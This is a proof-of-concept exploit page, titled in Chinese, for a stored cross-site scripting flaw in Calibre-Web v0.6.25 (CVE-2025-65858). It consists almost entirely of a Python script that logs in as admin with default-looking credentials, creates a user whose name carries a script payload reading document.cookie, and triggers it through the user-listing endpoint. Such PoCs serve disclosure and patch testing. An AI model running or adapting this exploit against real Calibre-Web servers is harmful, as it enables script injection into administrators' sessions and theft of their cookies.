CVE-2025-65858 Calibre-Web v0.6.25 存储型XSS漏洞

import requests import json # Calibre-Web Stored XSS PoC - CVE-2025-65858 # Target: Calibre-Web v0.6.25 base_url = "http://target:8083" # XSS Payload for username field xss_payload = "<script>alert(document.cookie)</script>" # Step 1: Login as admin login_url = f"{base_url}/login" login_data = { "username": "admin", "password": "admin123" } session = requests.Session() response = session.post(login_url, data=login_data) # Step 2: Create user with XSS payload in username create_user_url = f"{base_url}/admin/user/new" user_data = { "name": xss_payload, "email": "[email protected]", "password": "Password123!", "role": "user" } response = session.post(create_user_url, data=user_data) # Step 3: Trigger XSS by accessing /ajax/listusers trigger_url = f"{base_url}/ajax/listusers" response = session.get(trigger_url) print(f"XSS payload injected: {xss_payload}") print(f"Response status: {response.status_code}") print(f"XSS will execute when admin visits /ajax/listusers")